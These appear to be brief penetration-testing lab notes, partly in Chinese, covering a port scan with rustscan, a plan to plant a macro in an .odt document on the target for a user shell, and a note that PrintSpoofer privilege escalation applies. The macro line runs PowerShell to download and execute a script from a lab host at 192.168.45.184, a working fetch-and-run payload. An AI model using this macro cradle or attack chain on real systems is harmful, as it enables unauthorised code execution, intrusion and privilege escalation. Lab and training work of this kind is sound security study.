rustscan -a <target_ip> --ulimit 5000 -- -sC -sV -o scan_result.txt
.odt
的功能需要構建一個 macro 來上傳到目標機器上,取得 normal user
Shell("cmd /c powershell ""iex(new-object net.webclient).downloadstring('http://192.168.45.184/oneliner.ps1')""")
whoami /priv可使用printspoofer